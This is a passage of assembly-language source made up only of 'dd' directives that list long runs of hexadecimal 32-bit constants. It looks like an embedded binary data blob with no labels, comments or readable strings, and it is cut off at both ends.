7E48BF9Ch, 0B58E4D07h, 29A01DD2h dd 0DE36A7h, 0DEA859Dh, 82CBF204h, 89BA7700h, 43874FFEh dd 7817C92h, 9F72E657h, 0F1D07167h, 0AFB06093h, 8873F07h dd 0D7702C05h, 0C828A0Eh, 0A3504E7Ah, 9103FE19h, 0BC147160h dd 0F2E0DF69h, 416721Dh, 4CE8E9A4h, 1418A01Bh, 83B71E02h dd 69F34FA3h, 8BCD7350h, 15228E40h, 673701A9h, 4AEA692Ch dd 0F9608125h, 2353F760h, 0DFDAA2E4h, 2720C1D0h, 0BC4DBF78h dd 59710049h, 725D0E44h, 837F03EEh, 1A76D8E8h, 0FD72000h dd 3E3FADD4h, 96C395C6h, 8067C100h, 0FBFC574Bh, 0C3BE0125h dd 0ADE2D1E9h, 0C5D0307Ch, 0BD0EA1E0h, 4BEA57h, 97FB4CB7h dd 14F34EBEh, 850906B4h, 0A820226Eh, 0D2268AEFh, 0D668B100h dd 0CFB543Ch, 22993872h, 1CB2FC80h, 0D367BCB6h, 9F886B0Eh dd 1A48A129h, 8020DB57h, 0C58A0071h, 671855C2h, 7A498F5Dh dd 288600ECh, 0E8FF3F76h, 864667FCh, 589593F7h, 8036EA91h dd 4FF03A20h, 24B006DCh, 85D8A6CCh, 0C25F4547h, 0A4E3025Eh dd 3021896h, 0CC103D80h, 9F97C16Eh, 28620EFDh, 17874804h dd 7B178285h, 9E151660h, 0B9A79600h, 7A16E683h, 93E400B5h dd 0BBE91743h, 0AC2815C0h, 390CEC2Eh, 10EA1427h, 3F70126Ah dd 0D340065h, 0EDC2D7E4h, 0C9254D0Ch, 3F9DA0ACh, 349252B0h dd 9FC44E91h, 0E9913A0h, 0DB3BE32Ah, 0EECB80FDh, 6A21E66Dh dd 2F9B0E8Dh, 0F6C09699h, 0FF2A6ECFh, 100DAB00h, 2EAE8CDEh dd 0E9D405EEh, 115AFACh, 31D5C3A8h, 0CE17D488h, 0F2944D0Eh dd 51F88591h, 18BF944Bh, 94E4A8h, 0BB447879h, 0B814A658h dd 21BDC00h, 8B921529h, 12930082h, 0E38EC323h, 9D028501h dd 9499A4A5h, 0CC08611Eh, 3887AAECh, 0E7120EE2h, 0C3C09D8h dd 0C4CF9001h, 0EF109DA7h, 0A635CA80h, 6DE537h, 98D4EC33h dd 5E8CD3F8h, 1E166300h, 47E9D10Eh, 0E7B40036h, 0A6D0B781h dd 6E07DD38h, 7A63AD16h, 68A03767h, 24AEB693h, 49499C0h dd 49A0CBFDh, 0ABFB0070h, 51F435h, 0AD7BF813h, 0D11AAE5Eh dd 412C7A03h, 0E1FC98C9h, 8C4091E7h, 13A071EAh, 805DC0A2h dd 3168D444h, 8688551Dh, 2301BC40h, 0E6DFFBC2h, 0CECA0A82h dd 1A92070h, 3BE4938Fh, 59FAD076h, 8621BA00h, 8BC5035Ch dd 8D9C00CCh, 0F6ECDFEh, 9800D950h, 0FDBC7F61h, 3DDE2C81h dd 5280A6E9h, 73563343h, 5E7A634Fh, 67FC4201h, 0C3F8969Fh dd 6A31ECh, 0E4E8B35Bh, 1E0F21D1h, 2A6FFC0Fh, 17928064h dd 4AC8BCAh, 0A6F81961h, 9670B02Eh, 5C54ED26h, 1880E01Ch dd 6132584Eh, 9C150FF0h, 4F20A07Fh, 7D89714Ch, 5EF64D00h dd 0C4915410h, 3B370058h, 0E065283Fh, 0DAF47247h, 44351C00h dd 9DBA0596h, 5E89C32h, 0C0E1DB42h, 0AA2048DCh, 0BA7F6316h dd 8536A001h, 54650280h, 155C0D4h, 0B24AE55Bh, 3440C507h dd 760EC464h, 0C2D8CEC3h, 40A878A4h, 9509732h, 0FA7A5A69h dd 0C84D3603h, 0E696F8A8h, 7556CD2Eh, 7946E701h, 18ACFBE8h dd 0DC10992h, 0D79B5800h, 69F85C31h, 0F0CAF128h, 0BC006CE2h dd 0B199F411h, 872C06h, 0F56A3EEEh, 71AED217h, 59410360h dd 3CD77021h, 64000F97h, 6CD2BC17h, 367CBAADh, 9A5D7300h dd 708CCE8h, 1A090066h, 0A7EFDF44h, 0A23A337Ah, 0FBFA8BADh dd 0DA008069h, 1CDEDB03h, 45ED0FFEh, 8E6AA3h, 0B205AE8Ch dd 723C2A65h, 1D8495Fh, 0D5194417h, 5D70D3A8h, 4E9F003Eh dd 0C2DBAD71h, 0E30055E9h, 0C4672DCEh, 0C1B2C3h, 77462224h dd 956C8F79h, 60201092h, 0FFAE0006h, 997B178Ah, 95038E33h dd 31439DF0h, 9ABFE862h, 0A428C005h, 0D3D45F8h, 0C5CFF100h dd 0EAEF9C38h, 688C02C3h, 177A5C76h, 0CEE7DC69h, 0A10090E4h dd 6DB77382h, 5BF865D5h, 0B0A80391h, 0DC824AFBh, 0F28D321h dd 9C309E02h, 7C3A5923h, 40D8991Ch, 90EFCF51h, 13C5F93h dd 470077C5h, 0C3687A48h, 0F474E0D3h, 0CF97011Fh, 3D0207ADh dd 1945F804h, 0D8B3DC00h, 642E1B0Ah, 0CA4102A9h, 0CE82F123h dd 0F654C2E0h, 6149609h, 0F4BA83FFh, 84BD981Ch, 262D0AA5h dd 3AA8EEB8h, 16B83026h, 42D00029h, 0A6DEC78Fh, 12004AE2h dd 77F29F9Ah, 0C68EA9h, 6CF81063h, 7D9407B8h, 0CF048900h dd 0A588BA80h, 307C9E84h, 477E7820h, 0F573260Fh, 4050E921h dd 0E9C838h, 9C28E629h, 6C270849h, 0E0A49203h, 98CDB886h dd 7E6AA2DAh, 767B002Ah, 576D1A3Ch, 0BF00431Dh, 9F2CFE50h dd 0AD01Eh, 5FE51B74h, 182EB9A2h, 472F2903h, 0B03031DEh dd 71A96B1h, 4E5F247Fh, 7481DF2Ah, 0E45A18B9h, 45E44D6Bh dd 0DE0500BBh, 0D040CC58h, 0FF73885Ah, 0F3D60032h, 2C8DDBC4h dd 90022FA0h, 0C736CD75h, 508481Eh, 2D80179h, 6C240456h dd 4F29F032h, 0B30B1376h, 6060C7C6h, 897E8E8Ch, 98820A9Bh dd 0E8E0E1D0h, 8039F346h, 2F410066h, 40EF1286h, 22D7044Eh dd 21C179Dh, 0C833B660h, 0B2A8DBD4h, 0AB593DF8h, 1E4E7580h dd 0E260DCACh, 0BB7DC902h, 480EC4B5h, 79DD6FFCh, 510A0043h dd 5EA2808Dh, 5D7B15EDh, 7489FB03h, 985CDE91h, 40D96Dh dd 0E0C71A77h, 78856380h, 6F9BEA00h, 0FFEE5443h, 32B90013h dd 7324CA86h, 45356AA9h, 3BF834h, 30C0A5C8h, 1EFEB081h dd 8268F95Ch, 4386F033h, 0E8E72761h, 0CE0BC0D1h, 98451069h dd 2EE24818h, 8F609244h, 6A00FC56h, 1AAFA010h, 0EB47FA00h dd 0D051C853h, 0B5291D5Ch, 80A4A6BAh, 27B266CBh, 5300A8F5h dd 0ADC8762Ch, 0CFD2B8h, 0FBD341DEh, 0D988CCA6h, 0A860E500h dd 1979905Eh, 65E60033h, 8589DFFFh, 0D10041B2h, 0B8F1E08Ch dd 22189Ch, 0A43DB956h, 0EC79A37h, 0EF083800h, 5ECC606Dh dd 19780075h, 3FD71EFAh, 1A0048D1h, 8BB36FC5h, 8C7121h dd 193373D8h, 5B2B7F28h, 0CF500200h, 0E1A9782Ch, 8DF40161h dd 0AD6B7B8Eh, 497FC0C4h, 780B7700h, 81646748h, 43C04D4h dd 0D08E5215h, 22672DCh dd 7075DCB8h, 0DB312001h, 53C1A57Ah, 1855DEFCh, 58811E10h dd 8900340h, 0E5A7F000h, 88E7FB23h, 64D2039Dh, 0C2344A0Dh dd 3168F5E1h, 0EF33E898h, 0E1B888F0h, 0C7B10C8h, 13212CAEh dd 444F12F0h, 97F9D000h, 176B1F8h, 0C7346048h, 0EB38338Fh dd 6B19A1F0h, 0D52461Dh, 0B66501BEh, 43D295D5h, 52B89830h dd 0F00F240Bh, 0EF406EB1h, 64219891h, 650CC700h, 0B519F38Ah dd 92830751h, 2FE0C35Ah, 0F00EF480h, 0FE001225h, 641CC40Ch dd 0BA90556Ch, 9896980Ch, 0AEA00083h, 0B1BF2695h, 514949Ch dd 63C2B0Bh, 629625B9h, 43E900F8h, 0EA892773h, 78958F98h dd 0F8E50EC5h, 0B7E06E2Fh, 0B6B86D81h, 0D039F000h, 376A599Dh dd 64A00174h, 5FEB69E2h, 8423202Dh, 10EF9A07h, 0CD11C83Dh dd 0F0D521A1h, 0F0FD15E0h, 0DD8C0B34h, 880BCE9h, 0E219C492h dd 45C81101h, 8881BDCFh, 7D80DDCh, 3BD999F3h, 90EB2778h dd 36F4729Dh, 0B5B0C8A8h, 1442AE1Fh, 104292D2h, 48BBEF15h dd 509B97F8h, 0F0A41873h, 0F8EE14h, 0FC09A3F6h, 27241D81h dd 8A7D9A00h, 372CE061h, 0E365005Fh, 0A0B1B8DDh, 75006479h dd 0C48301C8h, 2BFB2A9Ch, 4614A417h, 0EA00701Ah, 155A9052h dd 547ABF12h, 0D8BC4Bh, 0C5468BADh, 809C43BCh, 0E13C0700h dd 34A00BEDh, 189800A6h, 0A4D32864h, 4700BA40h, 0F5740F09h dd 0EEF90Dh, 9B7CC3C6h, 4C6C3B43h, 14A10C00h, 0A93FB092h dd 0EBC8032Fh, 0E6C92479h, 3B03E2A8h, 7CD69C00h, 0BA2D25A6h dd 0A5E70042h, 2EC05188h, 0C97CC5D2h, 33262902h, 5714A39Fh dd 0C4624A00h, 1F0E285Fh, 800F1160h, 0FC672790h, 5CDC0F6Fh dd 7A60744Fh, 0BA8BB101h, 3097D51Dh, 7D1C1000h, 0EC6C868h dd 0C2D6EB37h, 4B935A60h, 30006206h, 4DB57E1Eh, 39A52Bh dd 3B5C8872h, 812CA15Fh, 78EF5500h, 0F0E74109h, 0A09126C8h dd 0DF180280h, 6049D69Bh, 40C3D402h, 0DCE7F006h, 0D8AE95h dd 29B0044Dh, 86202D5Eh, 60F1DF67h, 520EDC50h, 2108C0D7h dd 2FCD6A38h, 809D6F00h, 445705F2h, 98A70573h, 0D05FAF17h dd 5D77361Ch, 3948830Ch, 384A861h, 0C63D4D21h, 91891E7Ch dd 1C04504Fh, 0F000758Fh, 26F7577Fh, 0FD022h, 46944262h dd 0C669642Fh, 0F2271600h, 0F38F7BDAh, 0BFD10014h, 0E43B3323h dd 0A800831Eh, 0CD526F56h, 0FB3064B1h, 264BFBC8h, 69A205h dd 0A196562Bh, 0B9072294h, 80E1670Ch, 530E0970h, 19FB001Dh dd 0C0DF9138h, 7AB02015h, 0A6042800h, 9A931739h, 0A8FCE9F7h dd 98928Dh, 0D5AF28A7h, 81352975h, 7826200h, 980269B3h dd 0D9840B2Ah, 0BE001E63h, 4ED65DEBh, 54B87700h, 0F542C52Ch dd 0B0C0072h, 2F235597h, 44009916h, 0A8A17E36h, 1D9FF14h dd 46FD5B38h, 0F875D411h, 3E03046Ah, 30506022h, 949DF8FFh dd 2BEF5823h, 0C0D02E1Ch, 906DFD07h, 0E05E246h, 9B5552AFh dd 455CCC1Eh, 60879800h, 84040Fh, 8B48C07Ch, 0A3718DBBh dd 790B800h, 7BFCB4AAh, 0A060C0C3h, 0BE66D9Ch, 5C2FB605h dd 0BAC7690Dh, 0E88C1D30h, 0F5CE0062h, 0D914B26Dh, 0D02F73Fh dd 24DF5A3Ch, 0A360E006h, 0E89D3A58h, 8184724h, 44E00F43h dd 775080Ah, 740BFD99h, 0CB6AA0D9h, 0E500A59Eh, 88FB29C9h dd 3C354809h, 0BC8055B1h, 0B24150CDh, 0D3E42AFh, 9521002Dh dd 0E3B927EBh, 0D8F1008Fh, 0FDB51106h, 3E003369h, 7E46EE9h dd 0B65CDAh, 21A2A4FBh, 0EDF5F8B8h, 3B5A38C7h, 9324C04Eh dd 28D9F2AFh, 0D50A36h, 900649A4h, 2A8528B4h, 0C9EAA000h dd 0ADD7F9C0h, 8BEC56h, 24937E14h, 40CEFEB9h, 0C56EAE00h dd 227512DAh, 0F178C0h, 7B4A4D9Dh, 53A4E23Ah, 4003C24Bh dd 0D02145BDh, 1F98EF4Bh, 4003D75Fh, 0EDB34A9Eh, 8E009B34h dd 9CA9185h, 0E69917h, 42C95C40h, 0A2103CBCh, 0ABB5C300h dd 496176AAh, 52E0185h, 0D370345Bh, 4F042A1Dh, 34C0DA87h dd 2F37CFh, 0D28C2461h, 5CAF211Ah, 4B6CC107h, 92005519h dd 0FE02C95h, 43D2774h, 6D6F742h, 3B79C8D0h, 664BAA0Fh dd 4443B247h, 0ED94CF51h, 0B2E7C800h, 30805E92h, 11213A01h dd 0BF71F166h, 41080E1h, 0E4A9DE52h, 1DD5F070h, 189228C3h dd 458C4084h, 0B800FA71h, 0AF27AAC1h, 0A25809h, 21520DD3h dd 304072CFh, 7C395F26h, 0B5BE6001h, 0EAF14CC9h, 26F029F8h dd 4070B8h, 0A059D530h, 0F6501690h, 657CB790h, 91EAB10Ah dd 7C07C037h, 6FD3869Eh, 0BA25A85Dh, 0F9FC00C8h, 873AE035h dd 6600565Fh, 8B05DB18h, 4C9E0279h, 2A03DFB7h, 0EED1D04Dh dd 0F37E8EA0h, 0E989E8F7h, 0CE506912h, 6D1B2C00h, 0C0B58366h dd 22BB0411h, 0CD4059AEh, 0AF79A1h, 0D68D7E5Dh, 189ED20Dh dd 8096223Ah, 0A1F6BE0Bh, 9C3237h, 0FABD4AD3h, 2C79BB8Ah dd 159A3809h, 4080000Ch, 0B53139h, 882EEE4Ch, 44C31D03h dd 0CB584A00h, 3DE3BDB1h, 1C3B729Bh, 9C221C26h, 0FDEFC0F1h dd 4ED6C62h, 0DC592900h, 0D2289B17h, 99AD2857h, 16C8008Ch dd 10CED0A6h, 461DFC81h, 0BC80D97Bh, 86439374h, 2C0202C5h dd 0FE75593Eh, 0BC1E9C90h, 151B1900h, 0FBB9D34Bh, 1BA0F8Ch dd 0C065829Ch, 0D7FB00B6h, 0CBF08021h, 69B7700h, 5F76BB2Ch dd 759041h, 4D12165Bh, 0DA378853h, 7AE77800h, 0D61AB51Ch dd 0AF10072Fh, 209BC0BDh, 90210726h, 3CF14E0Bh, 0FD92801Bh dd 7A9263h, 0B1C4276Dh, 0A7AF7E11h, 0F3814Ch, 56215BD5h dd 7A8D8D9h, 0D2975F8Ah, 3DA7A12Bh, 0E0F07B1Bh, 798F0FC6h dd 0F0CBAF52h, 9222A280h, 4612F8BEh, 8C40D648h, 16D78A7Eh dd 0CA7F0006h, 6EA19FC6h, 0E9FEBCDDh, 13C1C83Ah, 1C00D340h dd 0EDCCD449h, 0A50100E4h, 0BAFF43EAh, 0A505AECh, 0F007DB0Ch dd 0F1AB3971h, 0FCE2B340h, 0B029FB9Ah, 0C948E508h, 10DB313Ch dd 7B13F42Eh, 0D280EDC0h, 0F0B68503h, 0C859DE97h, 0FA561A6Ah dd 0A612003Ah, 96D0B90Dh, 900A536Eh, 0AD6AF413h, 9C896400h dd 3C3F9FDh, 4B6DE3EFh, 6AC89D90h, 2C4A0B85h, 0B1378C41h dd 48C436B7h, 9BE7006Bh, 6FFB782Bh, 0E600CFBBh, 0CB7C2C8Eh dd 919D52h, 6E043630h, 0F1A12506h, 510029E8h, 92BAA343h dd 1FA9E520h, 8060FD85h, 9EE7B281h, 630E78C2h, 22436628h dd 636980E9h, 7CF4E819h, 84FC00C6h, 149FCA5Dh, 0A5037968h dd 9566BC05h, 5F3ED8D6h, 0B42B00BAh, 247C0956h, 53077F80h dd 14DEA5E3h, 0CD2C9CB0h, 0E6AE006Eh, 8EE5F8D1h, 24FA5209h dd 0AF2F6715h, 33007AA0h, 459D0DD2h, 7CE97870h, 61520064h dd 0E3D8F993h, 21B550EDh, 518B1628h, 0AFE93971h, 9988FF5h dd 53F6216Eh, 2F3E4E00h, 384B582Eh, 30A75408h, 71F64164h dd 1B6191C8h, 9351B980h, 0AE438094h, 0F0006822h, 0CFA75181h dd 79708B6h, 65F23357h, 7D72800Fh, 0E5B8B2AAh, 68F9AC36h dd 2E64660h, 949851B8h, 100431A8h, 0B5180F3h, 0AD1B6AB9h dd 2FE48900h, 361C125Fh, 54C6C39Fh, 1DC1EE63h, 7CDAC719h dd 91EFF383h, 830CB6Ch, 0FFAC21E0h, 9AF50EDAh, 0EA60B3A4h dd 42AB2584h, 52121400h, 2CEE0F46h, 0A7D0387Bh, 0EB7431Dh dd 1DA77D93h, 0AC1A50E5h, 32E86622h, 4EF2E403h, 0B890B3F6h dd 56E285h, 19F8DB3Ch, 2A08139Dh, 558C9A00h, 59901AC0h dd 0B07E5C4Ch, 0CEAADF07h, 0E13120E5h, 89009EC5h, 81614E1Bh dd 4CFE25F4h, 8D182BCBh, 3BBEDC8Fh, 8FBC1F3Eh, 0B76D1829h dd 0C03AED00h, 0CA7DA2Fh dd 518A4F48h, 861CD518h, 0BA0F10BCh, 8381843Ch, 82FCC31h dd 4421867Fh, 0C49B10EBh, 7722362Ch, 32831E25h, 75180406h dd 33B1938h, 53206Dh, 786B4508h, 8CEDF79Eh, 71BC0F18h dd 15FB218h, 5B7FD15Dh, 82441C81h, 0FE86EC38h, 519E21C8h dd 2C9C403Ah, 0C53C06F0h, 8B2A0368h, 2280BC4Eh, 23C3470h dd 0EDE71B83h, 0C19AC361h, 218F351Eh, 1F8F8EBAh, 0C27CD900h dd 2D31FF45h, 63D0C950h, 15A5FF60h, 0AC010A3Bh, 0A7FEC800h dd 12BD0C8Fh, 94957600h, 8A263546h, 8938C03Ch, 1F45A155h dd 2617CD3Dh, 0AB00A091h, 1A5F1B6Fh, 6B7E78h, 59D1F9C9h dd 6214D3B4h, 4A9F20Eh, 230057C4h, 392541B2h, 0F52100D4h dd 2C53B0F8h, 0E601B870h, 713F1093h, 0A280609Bh, 38D705F3h dd 690003B6h, 0DEBEE5F0h, 4B8741h, 0EE713114h, 0E916C44Ch dd 34007E71h, 0F79DD086h, 0BEABB8h, 8BA6B94Dh, 0D2FA889Ah dd 9707F8E0h, 8ADA7A41h, 3F82285Ch, 1580EEDEh, 1A91D6E8h dd 4A00C2A8h, 6DFE1BE7h, 59BB39h, 95A2850Bh, 908909C5h dd 47D8A100h, 312AA829h, 787BF665h, 0B3B085h, 0D373C3C6h dd 8F92E6A7h, 9E005B74h, 0BDA15783h, 76274F8h, 0B7997E37h dd 0D0F937A3h, 86C41834h, 0F0482D00h, 0CBA27AEBh, 769328D2h dd 8B1000E8h, 0FC61F59Eh, 0B805A90Ch, 9C4E7A55h, 0D08D83AAh dd 507DE6D9h, 0E289B7F0h, 3932B50Ch, 75B198DFh, 7AF0064h dd 1993DE9Fh, 0A039F2A6h, 598587B5h, 0AF401EA7h, 4B0C7Dh dd 0FD19D11Ch, 8ED98B3Eh, 8C5094A0h, 805E263Bh, 0B506CC91h dd 39ED794Dh, 138EC0F1h, 0BEE0EAA0h, 2075B737h, 0E7318100h dd 92F424D6h, 0DA05CCEh, 30CCA801h, 6A08E59Eh, 0FE8B8CE0h dd 75D7BC9h, 0F8C4E16Ch, 0EDA34349h, 0F6FCCCF8h, 688ADF07h dd 0CF1EADF4h, 8651E02Fh, 77C01B5h, 0BAD1F789h, 41B0C0D9h dd 200EFFCh, 83311995h, 12209029h, 40BF591Ah, 928C1694h dd 9D01B5F3h, 25F7B048h, 0BA208352h, 47F626C3h, 0A74E0EC9h dd 6D3FA1C0h, 7400E901h, 6CC4F48Dh, 48BDD7h, 4FB5C7A3h dd 0BE618C08h, 3D6FDA0Ah, 940B9410h, 0EE970058h, 483C71h dd 702E73E8h, 953E59C0h, 0C3730C90h, 0F046E201h, 115D9320h dd 50AB3C0h, 0E9271831h, 0A2E40F6Ch, 5FF50CC0h, 0BD005438h dd 0A964F175h, 671F46h, 691944ABh, 0F9C57A02h, 5FB1A500h dd 4914917Eh, 0C070EBEh, 0B2806408h, 0C405390Fh, 2CD85E09h dd 862020D5h, 57C93Eh, 81FCF008h, 0D423A19Dh, 40C4A00h dd 50DEBC20h, 0AF7B8021h, 80C7BB3Eh, 0CC115CDBh, 16BEDABh dd 683A3B22h, 34CE7F24h, 93072F24h, 9619CFE6h, 5618D421h dd 645951E4h, 807C89C2h, 671CCB44h, 827A1A00h, 0F55987ACh dd 548C0064h, 5A2289E0h, 0B93BFA35h, 0CEE2014Eh, 8496BBCBh dd 37D00AF9h, 2B35026Ah, 0A32C5648h, 77981FE0h, 4DD0440Eh dd 7565004Fh, 58FC15E1h, 0CC006E36h, 445102CDh, 0C724AF72h dd 0C4012030h, 0EF7D683Ch, 0FCF5AECh, 29468EB2h, 2D1C4100h dd 0C7008AB0h, 3D4EC2Bh, 0E0BE39E2h, 0B21F09A0h, 85009534h dd 5F7F9629h, 0C9CE5500h, 0A18D5E6Dh, 4B7385h, 0DCD358A2h dd 6302A440h, 2DBB210Fh, 98CF8AC2h, 0FA329707h, 0EC664720h dd 0F37F0061h, 7E5C570Dh, 81002478h, 8602E63h, 3D544CD6h dd 0CC805114h, 0D1BEF6DFh, 7C036E46h, 7291DB04h, 600A7F8h dd 3A0CEC2Fh, 0EFBADC48h, 0FA9B680h, 0DB163149h, 3D8944Ch dd 32761C7h, 60E1C2D3h, 0AF4C6Ch, 5C37CEC1h, 7DDE4C9h dd 592BA600h, 0EF60CBB9h, 9C24305Ah, 56495F28h, 3D820D00h dd 0F0DFDB8Fh, 95CE0727h, 105C3453h, 0D01C2DBCh, 884B0B01h dd 9F4226E1h, 7DF6834h, 31F7759Dh, 0AE94C4h, 487E6973h dd 10A86033h, 8E0E5825h, 317AB00h, 80E43E1Ah, 0D98100B6h dd 63D4990Ah, 0F4905AD7h, 64D28E17h, 13E60700h, 39326AE5h dd 0F8732D89h, 1A8E0350h, 74834785h, 149C62A0h, 0DEFD3501h dd 5FCEFFD7h, 0CAF020h, 0DB3A771Ch, 0CD15B974h, 24185E60h dd 4A8A6Eh, 0B7BA1B2Fh, 142D06DBh, 0CF5985EAh, 0ED930FE0h dd 0D92FC0C6h, 7C31E3h, 0F6FD6ABEh, 3CF2B33Dh, 6DEFA100h dd 0A31DEE5Ch, 4EDF01A9h, 6B364530h, 2CA7407Ch, 5007C310h dd 8296EBBDh, 0C2D6E5C0h, 39A00067h, 0B915558Bh, 1B001FCDh dd 0C937F056h, 0B08113BDh, 0DED8E1B4h, 4EE78B3h, 4DABA2ADh dd 8B8A8025h, 90A071D8h, 561FBC85h, 4CC07020h, 531E5476h dd 0C0A3F4E0h, 0A1090C30h, 0D9F29C22h, 10779B76h, 25F15000h dd 58FEC3DDh, 0D4C201F2h, 0A757A070h, 9275C8E4h, 0B196BF05h dd 2482F6E1h, 40BC6014h, 34D700F8h, 81E6AC30h, 39FCC38Ch dd 0A23F2C00h, 0EC54E548h, 51890047h, 15C5226Fh, 0F002F44h dd 3492870Dh, 1DB2196Bh, 80BB32ACh, 5601B8CEh, 743EF9AFh dd 0A17D807Fh, 69E88E2Ah, 6B5E004Eh, 62E75AE2h, 40E2C9BEh dd 8E71F904h, 1CC09B1Ch, 0FAFDD9DCh, 24E505A3h, 0D0A41782h dd 525E42DCh, 338CEA0Eh, 0E4B2A0C6h, 749B57C2h, 0F567ADFh dd 2A8B9EE2h, 0B08C6707h, 0B4996CE0h, 519E360h, 60D18245h dd 0BFBB0835h, 550227DFh, 8024012h, 0F2AE0F9h, 3BF53952h dd 7C974100h, 206CDBF0h, 0F20D4Ch, 0B90CF749h, 14865BB1h dd 508BC8B3h, 49A84E0Bh, 0B5BEF0A0h, 0BF3A2135h, 6373AEDh dd 48A455C7h, 0FFBA0221h, 0E5F8DAD4h, 3AF87Ch, 0D29B2BA1h dd 0A310D601h, 0F348A0BEh, 0C0993C2Ch, 11E351Eh, 0F726D596h dd 7900C330h, 0C0F6D4CEh, 7637C4D6h, 50D16050h, 4524DFF9h dd 548C2094h, 80D4C0AAh, 0DCE99C06h, 0ED186EC0h, 0F5C95A86h dd 8299740Eh, 16BF5000h, 0C200DC95h, 0F760EB6Dh, 30102D87h dd 9EB09F98h, 6800CB7Ch, 366E8627h, 8DEA74h, 4F6AF7E0h dd 35B3D038h, 3CB1AB01h, 1C2ED6A0h, 70873E71h, 0D7D9FCE2h dd 49B840C0h, 0B97494F5h, 0DC4149h, 9D9C433h, 710858C0h dd 1E6B8A8h, 0C88EB036h, 8520EC5Fh, 0A4C47688h, 56E5C020h dd 0BF260114h, 0C899E10Dh, 0EE089705h, 5EFA3440h, 39379B14h dd 84125C7Dh, 6B40C02Dh, 4701C809h, 0BC9A01D7h, 3E01ECA4h dd 91FC61EEh, 0F78037C0h, 0C4C0AED9h, 0C99E208Ch, 0D9C30800h dd 9DD1D24Fh, 9B26004Ah, 3FF9EBA4h, 0E2410F19h, 0F06DB813h dd 1AC2DB07h, 7835998Bh, 9D113817h, 22151180h, 8B19CD27h dd 4461532Eh, 0EEFCD1F4h, 0B1CB0171h, 122EDE0h, 2D47F43Fh dd 8D299E60h, 1EE88FA6h, 0CE5D0DFh, 950808ECh, 0AD1A21C0h dd 0E2B28Eh, 3AF69D67h, 6DA627C1h, 15694603h, 98451E8Ch dd 0E6612ADh, 3CB64433h, 213441C0h, 9C0FD130h, 0A01AB96Fh dd 0CA59DD0Bh, 1688008Ch, 571E365Ah, 3803DA53h, 0AF752D4Bh dd 1BA8C024h, 0D27E009Dh, 2BE9EEEh, 5B007F04h, 0A3FBEBD0h dd 0CB46F1h, 15752C84h, 62903B1Dh, 55D25307h, 7857F55Ah dd 379CE3A0h, 25740084h, 488E04EEh, 0D6037FD5h, 0D14A1BF3h dd 7AE488A6h, 90EB00A9h, 20CCAA37h, 0E71C25B9h, 0BA412246h dd 0E4E659B3h, 9495E080h, 38939EA1h, 9AE5A600h, 248B3B4Ch dd 8C3C0740h, 408D0989h, 653F13FDh, 0EAECA57Ch, 9844DB00h dd 59117A07h, 5BDF009Ah, 192E8F85h, 0A698A309h, 1B3C5DFEh dd 6C9E1EEEh, 2017498Eh, 0DB6E98FEh, 6A53002Dh, 381AD9CFh dd 0EB00F29Dh, 44A72AA5h, 3F147152h, 9A0B51BEh, 0F300DCB1h dd 0EA6B0163h, 2FDD6D00h dd 0A8C98D75h, 988B3FE2h, 8A956080h, 0B66E4DF9h, 0EB9A4600h dd 0EF296E1h, 0F79E0032h, 695038B8h, 42002114h, 688E7085h dd 0A09193EAh, 6018DBCh, 9AA8314Dh, 501F0842h, 0B3582923h dd 0B74AD50h, 0A0320376h, 8F0C1A00h, 0B2606ABFh, 31B3ED71h dd 218D0F10h, 0D3C09577h, 0FF305A0Ah, 0C1E7DA00h, 33A5EF69h dd 0CB12009Fh, 0B98DAD03h, 3400F1E4h, 8135E6FDh, 2895F9h dd 4DA93B9Eh, 274363C9h, 0A002E90h, 1C117CF2h, 14DDD135h dd 0AC4D4756h, 5CD6BF04h, 0A008C157h, 7AF3FCBAh, 2E75E005h dd 4402D6Dh, 0B2F5373Eh, 3BD6FA66h, 0FCCCADh, 54F40B93h dd 131930A1h, 0DCA69100h, 0AD0F3DD8h, 0BBD90055h, 0C7520112h dd 8A007811h, 13B11BFDh, 78C7F96h, 1198371h, 33EA8063h dd 6AB85F62h, 61AA8200h, 1D079C69h, 535203F6h, 197BF910h dd 1C4E6B90h, 816D100h, 2164F8CBh, 0E8141EECh, 36028071h dd 2B056395h, 2F59F600h, 0F0740632h, 54A93BD6h, 0AB7CAD80h dd 0FC4ADC20h, 0C64F1800h, 34E7A063h, 19A2126Dh, 52861C5Ch dd 0FA240013h, 8A0E5ED0h, 0A3C43Ch, 0C926A090h, 94B9E04h dd 7A133F2h, 80820404h, 593BF42Dh, 0F1033EEEh, 0E606EA9Eh dd 0B2C2C96Eh, 0E47DF840h, 24D0E3EBh, 0B9E30348h, 0CE7B42DEh dd 0E9EEC380h, 87490A16h, 3EC14400h, 13A492h, 3A55665Fh dd 0E1F0DD05h, 51CCA830h, 0AC8F224h, 4074B483h, 6F6B00ECh dd 0EC3FD594h, 2F1EACA0h, 0B576A1C0h, 3F8A3EF4h, 31E09B0Dh dd 0DD0A8064h, 0B0D07401h, 0BC8D1BC0h, 51A11480h, 6407ED3Dh dd 0D0351D00h, 9FF6B103h, 74993F3Ch, 852E1680h, 846BE0EFh dd 0ED0730FCh, 86635397h, 0A7460DC0h, 0F0C1001Ah, 5BBE9257h dd 31073DE7h, 8F7AECE9h, 2CB561D0h, 1C9D7B78h, 41059A32h dd 8746F630h, 1959D4B6h, 0BDA7F101h, 0F23D6050h, 7CC2A4D8h dd 815F01BAh, 9B6EE2EAh, 1D80E022h, 4174BD30h, 0AAC191h dd 0ECB040CBh, 87885AFh, 4C83A026h, 3C078D13h, 2050BF4Ah dd 1C53440h, 9A5C6DDh, 80E79F60h, 0F3EE5F59h, 0CAFF95h dd 0B57E5413h, 41DFBD3Ch, 0A9A27300h, 27C581CEh, 1DD0F36h dd 80B8336Ah, 9601D36Bh, 0B0A1B2Dh, 5CECAA47h, 0E19144Ah dd 0F000C873h, 7101A639h, 981DF377h, 0D900DE12h, 0E023A7B8h dd 728A0352h, 6079DCCFh, 7E4364B8h, 2E008571h, 51106E44h dd 368BA55h, 0FAED614h, 24F88C5Eh, 9CA08D31h, 0A10038A9h dd 0EC526998h, 6D9FC3h, 448F2D5Ah, 0FE9B31Fh, 0DBF15902h dd 0F61A6F6h, 62D58081h, 0A28040D6h, 89000198h, 6DC5A13Ah dd 342D05h, 77875F1Ah, 0C9500D9Ah, 4070A700h, 0B0BD522Fh dd 0D2F7003Fh, 6BE1F85Bh, 4900AC3Ch, 0D174341Ah, 0C64896h dd 9B5BA073h, 8431E3CAh, 0ABACEC09h, 0F1CD006Fh, 0C0DE5860h dd 0CB24D0C0h, 5500727Dh, 0E4F9CEECh, 389B048Dh, 0B404449Dh dd 90CF39FFh, 0EABA9770h, 0FEE86A00h, 871AE346h, 941D0031h dd 0AF61F8E2h, 